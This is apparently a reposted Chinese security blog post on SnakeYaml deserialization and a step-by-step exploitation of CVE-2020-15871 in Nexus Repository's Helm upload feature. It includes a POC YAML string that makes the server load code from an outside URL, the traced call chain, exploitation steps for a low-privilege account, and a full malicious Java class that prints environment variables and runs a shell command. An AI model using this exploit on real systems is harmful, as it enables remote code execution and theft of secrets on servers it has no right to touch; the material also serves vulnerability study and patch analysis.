SnakeYaml序列化与反序列化
SnakeYaml是用来解析yaml的格式,可用于Java对象的序列化、反序列化。
此漏洞起因是错误使用了序列化方法,并且反序列化了不可信的数据,故理论上SnakeYaml的全版本都存在此问题。
常用方法:
String dump(Object data) // 将Java对象序列化为YAML字符串。
void dump(Object data, Writer output) // 将Java对象序列化为YAML流。
String dumpAll(Iterator<? extends Object> data) // 将一系列Java对象序列化为YAML字符串。
void dumpAll(Iterator<? extends Object> data, Writer output) // 将一系列Java对象序列化为YAML流。
String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle) // 将Java对象序列化为YAML字符串。
String dumpAsMap(Object data) // 将Java对象序列化为YAML字符串。
<T> T load(InputStream io) // 解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T load(Reader io) // 解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T load(String yaml) // 解析字符串中唯一的YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(InputStream yaml) // 解析流中的所有YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(Reader yaml) // 解析字符串中的所有YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(String yaml) // 解析字符串中的所有YAML文档,并生成相应的Java对象。
序列化:
package test;
public class MyClass {
String value;
public MyClass(String args) {
value = args;
}
public String getValue(){
return value;
}
}
public void test() {
MyClass obj = new MyClass("this is my data");
Map<String, Object> data = new HashMap<String, Object>();
data.put("MyClass", obj);
Yaml yaml = new Yaml();
String output = yaml.dump(data);
System.out.println(output);
}
结果:
MyClass: !!test.MyClass {}
!!用于强制类型转化,!!后为指定的类型,这与Fastjson的@type类似,用于指定反序列化的全类名。
反序列化:
yaml文件内容
firstName: "John"
lastName: "Doe"
age: 20
@Test
public void test(){
Yaml yaml = new Yaml();
InputStream resourceAsStream = this.getClass().getClassLoader().getResourceAsStream("test1.yaml");
Object load = yaml.load(resourceAsStream);
System.out.println(load);
}
}
执行结果:
{firstName=John, lastName=Doe, age=20}
漏洞复现:
POC
public class main {
public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://t00ls.aee41e41.tu4.org"]]]]n";
Yaml yaml = new Yaml();
yaml.load(context);
}
}
相当于执行了:
URL url = new URL("http://t00ls.aee41e41.tu4.org");
URLClassLoader urlc = new URLClassLoader(new URL[]{url});
ScriptEngineManager sem = new ScriptEngineManager(urlc);
后续的原理分析不是本文重点,想继续跟进调用链的朋友可以去读一下浅蓝(nice_0e3)的博客。
CVE-2020-15871 实践
应该有不少朋友了解甚至使用过nexus代码仓,没了解也不要紧,只要知道它是个代码仓系统即可。
下面的全部内容仅供学习,请勿用于非法测试!!!
前置工作:
关于CVE-2020-15871的披露信息:
关注到3.25.1版本共修复了3个CVE,另外2个issue为XSS漏洞修复,分别对应CVE-2020-15869、CVE-2020-15870。
利用compare完成了补丁对比,10处变动(不再赘述)。
其中编号②、编号⑧、编号⑨判定为安全补丁。
编号②、编号⑧位置分别为:
org.sonatype.nexus.common.template.TemplateThrowableAdapter.class
org.sonatype.nexus.repository.httpbridge.internal.ViewServlet.class
补丁为添加StringEscapeUtils.escapeHtml(),过滤特殊字符,判定为解决XSS漏洞。
编号⑨位置:
org.sonatype.repository.helm.internal.metadata.IndexYamlAbsoluteUrlRewriterSupport.class
org/sonatype/repository/helm/internal/util/YamlParser.class
补丁如下:
追踪load外部传参data是否可控。
修复方案为在new yaml对象时调用SafeConstructor()进行过滤,再次反序列化时会抛出异常;
或者load的参数不可控。
验证:
全部可能成功的调用链。
第一条调用链(没验,直接跳到后面):
①YamlParser.load (is)
public Map<String, Object> load(InputStream is) throws IOException {
checkNotNull(is);
String data = IOUtils.toString(new UnicodeReader(is));
Map<String, Object> map;
try {
Yaml yaml = new Yaml(new Constructor(), new Representer(),
new DumperOptions(), new Resolver());
map = yaml.load(data);
}
catch (YAMLException e) {
map = (Map<String, Object>) mapper.readValue(data, Map.class);
}
return map;
}
data(后文红体字均为参数传递)
②HelmAttributeParser.getAttributes (inputStream)
public HelmAttributes getAttributes(final AssetKind assetKind, final InputStream inputStream) throws IOException {
switch (assetKind) {
case HELM_PACKAGE:
return getAttributesFromInputStream(inputStream);
case HELM_PROVENANCE:
return getAttributesProvenanceFromInputStream(inputStream);
default:
return new HelmAttributes();
}
}
...
private HelmAttributes getAttributesFromInputStream(final InputStream inputStream) throws IOException {
try (InputStream is = tgzParser.getChartFromInputStream(inputStream)) {
return new HelmAttributes(yamlParser.load(is));
}
}
inputStream case:HELM_PACKAGE
③HelmProxyFacetImpl.store (content)
protected Content store(final Context context, final Content content) throws IOException {
AssetKind assetKind = context.getAttributes().require(AssetKind.class);
switch(assetKind) {
case HELM_INDEX:
return putMetadata(INDEX_YAML, content, assetKind);
case HELM_PACKAGE:
TokenMatcher.State matcherState = helmPathUtils.matcherState(context);
return putComponent(content, helmPathUtils.filename(matcherState), assetKind);
default:
throw new IllegalStateException("Received an invalid AssetKind of type: " + assetKind.name());
}
}
private Content putComponent(final Content content,final String fileName,final AssetKind assetKind) throws IOException {
StorageFacet storageFacet = facet(StorageFacet.class);
try (TempBlob tempBlob = storageFacet.createTempBlob(content.openInputStream(), HASH_ALGORITHMS)) {
HelmAttributes helmAttributes = helmAttributeParser.getAttributes(assetKind, tempBlob.get());
return doCreateOrSaveComponent(helmAttributes, fileName, assetKind, tempBlob, content.getContentType(), content.getAttributes());
}
}
content tempBlob.get()
④ProxyFacetSupport.get (context)
public Content get(final Context context) throws IOException {
checkNotNull(context);
Content content = maybeGetCachedContent(context);
if (!isStale(context, content)) {
return content;
}
if (proxyCooperation == null) {
return doGet(context, content);
}
return proxyCooperation.cooperate(getRequestKey(context), failover -> {
Content latestContent = content;
if (failover) {
// re-check cache when failing over to new thread
latestContent = proxyCooperation.join(() -> maybeGetCachedContent(context));
if (!isStale(context, latestContent)) {
return latestContent;
}
}
return doGet(context, latestContent);
});
}
protected Content doGet(final Context context, final Content staleContent) throws IOException {
Content remote = null, content = staleContent;
boolean nested = isDownloading();
try {
if (!nested) {
downloading.set(TRUE);
}
remote = fetch(context, content);
if (remote != null) {
content = store(context, remote);
if (proxyCooperation != null && remote.equals(content)) {
// remote wasn't stored; make reusable copy for cooperation
content = new TempContent(remote);
}
}
}
remote
⑤ProxyFacet.get (context)
接口类
⑥ProxyHandler.handle (context)
public Response handle( final Context context) throws Exception { // NOSONAR
final Response response = buildMethodNotAllowedResponse(context);
if (response != null) {
return response;
}
try {
Payload payload = proxyFacet(context).get(context);
if (payload != null) {
return buildPayloadResponse(context, payload);
}
return buildNotFoundResponse(context);
}
之后是接口类 org/sonatype/nexus/repository/view/Handler.handle
⑦Context.start (route)
Response start(final Route route) throws Exception {
checkNotNull(route);
checkState(handlers == null, "Already started");
log.debug("Starting: {}", route);
// Copy the handler list to allow modification
this.handlers = new ArrayList<>(route.getHandlers()).listIterator();
return proceed();
}
public Response proceed() throws Exception {
checkState(handlers != null, "Context not started");
checkState(handlers.hasNext(), "End of handler chain");
// Invoke next handler
Handler handler = handlers.next();
try {
log.debug("Proceeding: {}", handler);
return handler.handle(this);
}
finally {
// retain handler position in-case of re-proceed
if (handlers.hasPrevious()) {
handlers.previous();
}
}
}
this
⑧Router.dispatch (repository, request, existingContext)
public Response dispatch(final Repository repository, final Request request, @Nullable final Context existingContext)
throws Exception
{
checkNotNull(repository);
checkNotNull(request);
logRequest(request);
// Find route and start context
Context context = maybeCopyContextAttributes(repository, request, existingContext);
Route route = findRoute(context);
Response response = context.start(route);
logResponse(response);
return response;
}
context route
⑨ConfigurableViewFacet.dispatch (request)
似乎有点奇怪,context传入了null,但dispatch需要三个参数来生成新的context,所以也没问题。
public Response dispatch(final Request request) throws Exception {
return dispatch(request, null);
}
public Response dispatch(final Request request, @Nullable final Context context) throws Exception {
checkState(router != null, "Router not configured");
return router.dispatch(getRepository(), request, context);
}
⑩ViewServlet.service (httpRequest)
protected void service(final HttpServletRequest httpRequest, final HttpServletResponse httpResponse)
throws ServletException, IOException
{
String uri = httpRequest.getRequestURI();
if (httpRequest.getQueryString() != null) {
uri = uri + "?" + httpRequest.getQueryString();
}
if (log.isDebugEnabled()) {
log.debug("Servicing: {} {} ({})", httpRequest.getMethod(), uri, httpRequest.getRequestURL());
}
MDC.put(getClass().getName(), uri);
try {
doService(httpRequest, httpResponse);
log.debug("Service completed");
}
catch (BadRequestException e) { // NOSONAR
log.warn("Bad request. Reason: {}", e.getMessage());
send(null, HttpResponses.badRequest(e.getMessage()), httpResponse);
}
catch (Exception e) {
if (!(e instanceof AuthorizationException)) {
log.warn("Failure servicing: {} {}", httpRequest.getMethod(), uri, e);
}
Throwables.propagateIfPossible(e, ServletException.class, IOException.class);
throw new ServletException(e);
}
finally {
MDC.remove(getClass().getName());
}
}
protected void doService(final HttpServletRequest httpRequest, final HttpServletResponse httpResponse)
throws Exception
{
if (sandboxEnabled) {
httpResponse.setHeader(HttpHeaders.CONTENT_SECURITY_POLICY, SANDBOX);
}
httpResponse.setHeader(HttpHeaders.X_XSS_PROTECTION, "1; mode=block");
// resolve repository for request
RepositoryPath path = RepositoryPath.parse(httpRequest.getPathInfo());
log.debug("Parsed path: {}", path);
Repository repo = repository(path.getRepositoryName());
if (repo == null) {
send(null, HttpResponses.notFound(REPOSITORY_NOT_FOUND_MESSAGE), httpResponse);
return;
}
log.debug("Repository: {}", repo);
if (!repo.getConfiguration().isOnline()) {
send(null, HttpResponses.serviceUnavailable("Repository offline"), httpResponse);
return;
}
ViewFacet facet = repo.facet(ViewFacet.class);
log.debug("Dispatching to view facet: {}", facet);
// Dispatch the request
Request request = buildRequest(httpRequest, path.getRemainingPath());
dispatchAndSend(request, facet, httpResponseSenderSelector.sender(repo), httpResponse);
}
void dispatchAndSend(final Request request,final ViewFacet facet,final HttpResponseSender sender,final HttpServletResponse httpResponse)
throws Exception
{
Response response = null;
Exception failure = null;
try {
response = facet.dispatch(request);
}
catch (Exception e) {
failure = e;
}
String describeFlags = request.getParameters().get(P_DESCRIBE);
log.trace("Describe flags: {}", describeFlags);
if (describeFlags != null) {
send(request, describe(request, response, failure, describeFlags), httpResponse);
}
else {
if (failure != null) {
throw failure;
}
log.debug("Request: {}", request);
sender.send(request, response, httpResponse);
}
}
创建servlet对象时调用init并初始化config,之后就不再使用。service用来处理请求。删除某servlet对象时先调用此对象的destroy函数,之后容器在合适的时间删掉此对象。
理论上讲,service的httpRequest是可控的,抓包重放即可修改Request。全部调用链中的12条入口均为此处。
我猜读者应该懵了一下,12条?是的,我大概找了几十条调用链,成功复现的下面这条深度大概为6的调用栈,上面这条深度10的应该也可以打成功,但是没验,有兴趣的朋友可以试一下。
这项工作也许很枯燥,但是坚持下来一定很酷!
成功的调用链(可以RCE):
①②同上,从③开始
①
②
③HelmUploadHandler.handle (upload)
public UploadResponse handle(Repository repository, ComponentUpload upload) throws IOException {
HelmHostedFacet facet = repository.facet(HelmHostedFacet.class);
StorageFacet storageFacet = repository.facet(StorageFacet.class);
PartPayload payload = upload.getAssetUploads().get(0).getPayload();
String fileName = payload.getName() != null ? payload.getName() : StringUtils.EMPTY;
AssetKind assetKind = AssetKind.getAssetKindByFileName(fileName);
if (assetKind != AssetKind.HELM_PROVENANCE && assetKind != AssetKind.HELM_PACKAGE) {
throw new IllegalArgumentException("Unsupported extension. Extension must be .tgz or .tgz.prov");
}
try (TempBlob tempBlob = storageFacet.createTempBlob(payload, HASH_ALGORITHMS)) {
HelmAttributes attributesFromInputStream = helmPackageParser.getAttributes(assetKind, tempBlob.get());
String extension = assetKind.getExtension();
String name = attributesFromInputStream.getName();
String version = attributesFromInputStream.getVersion();
④UploadManagerImpl.handle (repository, request)
public UploadResponse handle(final Repository repository, final HttpServletRequest request) throws IOException {
checkNotNull(repository);
checkNotNull(request);
UploadHandler uploadHandler = getUploadHandler(repository);
ComponentUpload upload = create(repository, request);
logUploadDetails(upload, repository);
try {
for (ComponentUploadExtension componentUploadExtension : componentUploadExtensions) {
componentUploadExtension.validate(upload);
}
UploadResponse uploadResponse = uploadHandler.handle(repository,uploadHandler.getValidatingComponentUpload(upload).getComponentUpload());
for (ComponentUploadExtension componentUploadExtension : componentUploadExtensions) {
componentUploadExtension.apply(repository, upload, uploadResponse.getComponentIds());
}
return uploadResponse;
}
finally {
for (AssetUpload assetUpload : upload.getAssetUploads()) {
assetUpload.getPayload().close();
}
}
}
经过接口类
⑤UploadService.upload (repositoryName, request)
public String upload(final String repositoryName, final HttpServletRequest request) throws IOException {
checkNotNull(repositoryName);
checkNotNull(request);
Repository repository = checkNotNull(repositoryManager.get(repositoryName), "Specified repository is missing");
UploadResponse uploadResponse = uploadManager.handle(repository, request);
return createSearchTerm(uploadResponse.getAssetPaths());
}
repositoryName 上传接口,一看就有戏
⑥UploadResource.postComponent(repositoryName, request)
public Response postComponent( final String repositoryName, final HttpServletRequest request)
throws IOException
{
try {
if (!configuration.isEnabled()) {
throw new WebApplicationException(Response.Status.NOT_FOUND);
}
Packet responseJson = new Packet(uploadService.upload(repositoryName, request));
return Response.ok().type(MediaType.TEXT_HTML_TYPE).entity(htmlWrap(objectMapper.writeValueAsString(responseJson))).build();
}
catch (Exception e) {
log.error("Unable to perform upload to repository {}", repositoryName, e);
ErrorPacket responseJson = new ErrorPacket(e.getMessage());
return Response.ok().type(MediaType.TEXT_HTML_TYPE).entity(htmlWrap(objectMapper.writeValueAsString(Arrays.asList(responseJson)))).build();
}
}
POC:
从load开始,向入口看:
一、文件格式
二、寻找路径
最终入口UploadResource中给出了ResourcePath。
搜素此字段,在UploadComponent.js文件中规定:
客户端中的可上传点就几个。
API处,路径不对:
上传仓库代码处:
未登录无Upload入口,登录普通用户如test后(未授特殊权限),可进行上传,抓包查看路径,发现路径匹配:
三、漏洞利用
由一、1、,先创建helm类型的仓库(test用户默认拥有该权限)。
构造恶意yaml文件,并根据一、2、命名。
压缩后上传。
成功执行:
完整EXP参考(GitHub也有):
打环境变量、写文件。
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class Poca
implements ScriptEngineFactory
{
static {
try {
System.out.println("Hacked by itb");
System.out.println(System.getenv());
System.getenv().forEach( (k,v)-> System.out.println(k+" : "+v) );
// if (System.getenv("os").contains("Windows")) {
// Runtime.getRuntime().exec("calc");
// } else {
Runtime.getRuntime().exec( "touch /tmp/itb.bin" );
// }
} catch ( IOException e){
e.printStackTrace();
}
}
// public static void GetEnvStr() {
// List<>
// }
public Poca(){}
public String getEngineName() {
return null;
}
public String getEngineVersion() {
return null;
}
public List<String> getExtensions() {
return null;
}
public List<String> getMimeTypes() {
return null;
}
public List<String> getNames() {
return null;
}
public String getLanguageName() {
return null;
}
public String getLanguageVersion() {
return null;
}
public Object getParameter(String key) {
return null;
}
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
public String getOutputStatement(String toDisplay) {
return null;
}
public String getProgram(String... statements) {
return null;
}
public ScriptEngine getScriptEngine() {
return null;
}
}
上传此class文件,并配置META-INF:
启server之后上传tgz(payload)。
打环境变量。
请勿用于非法测试
原文始发于微信公众号(DigDog安全团队):Yaml反序列化漏洞原理与实践
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论